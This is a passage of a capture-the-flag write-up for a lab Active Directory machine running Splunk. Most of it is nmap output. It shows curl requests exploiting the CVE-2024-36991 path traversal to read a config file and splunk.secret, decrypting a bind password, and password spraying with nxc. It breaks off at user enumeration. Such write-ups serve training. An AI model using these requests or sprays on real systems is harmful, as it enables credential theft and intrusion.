Description
Haze is a challenging Active Directory machine characterized by a vulnerable Splunk installation and security configurations. The machine involves CVE-2024-36991, decrypting the Splunk secret, exploiting multiple ACL/ACE vulnerabilities, and abusing SeImpersonatePrivilege.
Recon
nmap
nmap shows open ports that are common on a Domain Controller machine, along with extra ports: 8000, 8088, and 8089.
# Nmap 7.95 scan initiated Sun Mar 30 12:00:16 2025 as: nmap -vvv -p- -T4 -sSCV -oN all_tcp_scan.txt 10.10.11.61Nmap scan report for 10.10.11.61 (10.10.11.61)Host is up, received echo-reply ttl 127 (0.037s latency).Scanned at 2025-03-30 12:00:16 WIB for 106sNot shown: 65505 closed tcp ports (reset)PORT STATE SERVICE REASON VERSION53/tcp open domain syn-ack ttl 127 Simple DNS Plus88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-30 12:42:16Z)135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Issuer: commonName=haze-DC01-CA/domainComponent=haze| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-03-05T07:12:20| Not valid after: 2026-03-05T07:12:20| MD5: db18:a1f5:986c:1470:b848:35ec:d437:1ca0| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f| -----BEGIN CERTIFICATE-----| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==|_-----END CERTIFICATE-----|_ssl-date: TLS randomness does not represent time445/tcp open microsoft-ds? syn-ack ttl 127464/tcp open kpasswd5? syn-ack ttl 127593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Issuer: commonName=haze-DC01-CA/domainComponent=haze| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-03-05T07:12:20| Not valid after: 2026-03-05T07:12:20| MD5: db18:a1f5:986c:1470:b848:35ec:d437:1ca0| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f| -----BEGIN CERTIFICATE-----| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==|_-----END CERTIFICATE-----|_ssl-date: TLS randomness does not represent time3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Issuer: commonName=haze-DC01-CA/domainComponent=haze| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-03-05T07:12:20| Not valid after: 2026-03-05T07:12:20| MD5: db18:a1f5:986c:1470:b848:35ec:d437:1ca0| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f| -----BEGIN CERTIFICATE-----| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==|_-----END CERTIFICATE-----|_ssl-date: TLS randomness does not represent time3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Issuer: commonName=haze-DC01-CA/domainComponent=haze| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-03-05T07:12:20| Not valid after: 2026-03-05T07:12:20| MD5: db18:a1f5:986c:1470:b848:35ec:d437:1ca0| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f| -----BEGIN CERTIFICATE-----| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==|_-----END CERTIFICATE-----|_ssl-date: TLS randomness does not represent time5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.08000/tcp open http syn-ack ttl 127 Splunkd httpd| http-title: Site doesn't have a title (text/html; charset=UTF-8).|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F|_http-favicon: Unknown favicon MD5: E60C968E8FF3CC2F4FB869588E83AFC6|_http-server-header: Splunkd| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS| http-robots.txt: 1 disallowed entry|_/8088/tcp open ssl/http syn-ack ttl 127 Splunkd httpd|_http-server-header: Splunkd| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-03-05T07:29:08| Not valid after: 2028-03-04T07:29:08| MD5: 82e5:ba5a:c723:2f49:6f67:395b:5e64:ed9b| SHA-1: e859:76a6:03da:feef:c1ab:9acf:ecc7:fd75:f1e5:1ab2| -----BEGIN CERTIFICATE-----| MIIDMjCCAhoCCQCtNoIdTvT1CjANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yNTAzMDUwNzI5MDhaFw0yODAzMDQwNzI5| MDhaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3SOu| w9/K07cQT0p+ga9FjWCzI0Os/MVwpjOlPQ/o1uA/VSoNiweXobD3VBLngqfGQlAD| VGRWkGdD3xS9mOknh9r4Dut6zDyUdKvgrZJVoX7EiRsHhXAr9HRgqWj7khQLz3n9| fjxxdJkXtGZaNdonWENSeb93HfiYGjSWQJMfNdTd2lMGMDMC4JdydEyGEHRAMNnZ| y/zCOSP97yJOSSBbr6IZxyZG934bbEH9d9r0g/I4roDlzZFFBlGi542s+1QJ79FR| IUrfZh41PfxrElITkFyKCJyU5gfPKIvxwDHclE+zY/ju2lcHJMtgWNvF6s0S9ic5| oxg0+Ry3qngtwd4yUQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCbT8LwPCoR7I41| dS2ZjVjntxWHf/lv3MgumorerPBufJA4nw5Yq1gnAYruIkAkfGS7Dy09NL2+SwFy| NKZa41K6OWst/sRP9smtpY3dfeNu5ofTP5oLEbW2fIEuG4fGvkQJ0SQOPOG71tfm| ymVCjLlMYMU11GPjfb3CpVh5uLRhIw4btQ8Kz9aB6MiBomyiD/MqtQgA25thnijA| gHYEzB3W6FKtWtjmPcqDugGs2WU6UID/fFZpsp+3h2QLGN5e+e1OTjoIbexbJ/S6| iRjTy6GUjsrHtHM+KBjUFvUvHi27Ns47BkNzA1gedvRYrviscPCBkphjo9x0qDdj| 3EhgaH2L|_-----END CERTIFICATE-----| http-robots.txt: 1 disallowed entry|_/|_http-title: 404 Not Found| http-methods:|_ Supported Methods: GET POST HEAD OPTIONS8089/tcp open ssl/http syn-ack ttl 127 Splunkd httpd|_http-server-header: Splunkd|_http-title: splunkd| http-robots.txt: 1 disallowed entry|_/| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-03-05T07:29:08| Not valid after: 2028-03-04T07:29:08| MD5: 82e5:ba5a:c723:2f49:6f67:395b:5e64:ed9b| SHA-1: e859:76a6:03da:feef:c1ab:9acf:ecc7:fd75:f1e5:1ab2| -----BEGIN CERTIFICATE-----| MIIDMjCCAhoCCQCtNoIdTvT1CjANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yNTAzMDUwNzI5MDhaFw0yODAzMDQwNzI5| MDhaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3SOu| w9/K07cQT0p+ga9FjWCzI0Os/MVwpjOlPQ/o1uA/VSoNiweXobD3VBLngqfGQlAD| VGRWkGdD3xS9mOknh9r4Dut6zDyUdKvgrZJVoX7EiRsHhXAr9HRgqWj7khQLz3n9| fjxxdJkXtGZaNdonWENSeb93HfiYGjSWQJMfNdTd2lMGMDMC4JdydEyGEHRAMNnZ| y/zCOSP97yJOSSBbr6IZxyZG934bbEH9d9r0g/I4roDlzZFFBlGi542s+1QJ79FR| IUrfZh41PfxrElITkFyKCJyU5gfPKIvxwDHclE+zY/ju2lcHJMtgWNvF6s0S9ic5| oxg0+Ry3qngtwd4yUQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCbT8LwPCoR7I41| dS2ZjVjntxWHf/lv3MgumorerPBufJA4nw5Yq1gnAYruIkAkfGS7Dy09NL2+SwFy| NKZa41K6OWst/sRP9smtpY3dfeNu5ofTP5oLEbW2fIEuG4fGvkQJ0SQOPOG71tfm| ymVCjLlMYMU11GPjfb3CpVh5uLRhIw4btQ8Kz9aB6MiBomyiD/MqtQgA25thnijA| gHYEzB3W6FKtWtjmPcqDugGs2WU6UID/fFZpsp+3h2QLGN5e+e1OTjoIbexbJ/S6| iRjTy6GUjsrHtHM+KBjUFvUvHi27Ns47BkNzA1gedvRYrviscPCBkphjo9x0qDdj| 3EhgaH2L|_-----END CERTIFICATE-----| http-methods:|_ Supported Methods: GET HEAD OPTIONS9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC51763/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC51770/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.051771/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC51772/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC51791/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC51802/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC51827/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC51989/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC64337/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPCService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| p2p-conficker:| Checking for Conficker.C or higher...| Check 1 (port 46282/tcp): CLEAN (Couldn't connect)| Check 2 (port 18830/tcp): CLEAN (Couldn't connect)| Check 3 (port 26877/udp): CLEAN (Timeout)| Check 4 (port 63173/udp): CLEAN (Failed to receive data)|_ 0/4 checks are positive: Host is CLEAN or ports are blocked| smb2-time:| date: 2025-03-30T12:43:08|_ start_date: N/A|_clock-skew: 7h41m13s| smb2-security-mode:| 3:1:1:|_ Message signing enabled and requiredIt reveals the hostname DC01 and the domain haze.htb. Make sure to add those and the FQDN to /etc/hosts.
10.10.11.61 dc01.haze.htb haze.htb dc01Splunk
Enumeration
Currently, we don’t have any credentials and there is no anonymous access, so let’s check the HTTP/HTTPS ports.
The Splunk dashboard at 8000 needs valid credentials, so I will skip it for now. We can get the currently installed Splunk version at HTTPS port 8089.

The current version has CVE-2024-36991 that allows Arbitrary File Read. We can get the Splunk passwd file, but the hash is uncrackable. Based on the Splunk documentation, the authentication.conf file contains configuration about the LDAP connection. This file is located inside $SPLUNK_HOME/etc/system/default/, but the path traversal from the PoC already exposed the depth needed to reach the $SPLUNK_HOME directory.
CVE-2024-36991
curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/system/local/authentication.conf'...bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htbbindDNpassword = <hash>...You will find Paul Taylor’s hash. This hash is generated using Splunk’s hashing algorithm; we can crack it using splunksecrets. Anyway, we need splunk.secret, which is located in the $SPLUNK_HOME/etc/auth/ directory according to this thread.
curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/splunk.secret' -o splunk.secretCrack it with splunksecrets.
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '<hash>'We don’t know the username format, so let’s generate a username list with username-anarchy.
username-anarchy Paul Taylor > paul.txtPassword Spraying
Launch password spraying with nxc.
> nxc smb haze.htb -u paul.txt -p '<password>' --no-bruteforce --continue-on-successSMB 10.10.11.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)...SMB 10.10.11.61 445 DC01 [+] haze.htb\paul.taylor:<password>...paul.taylor is the valid username.
Auth as paul.taylor
Users
It’s worth trying another password spraying attack, but with valid usernames. For some reason, I couldn’t get the user list with the --users option, so I used --rid-brute instead.
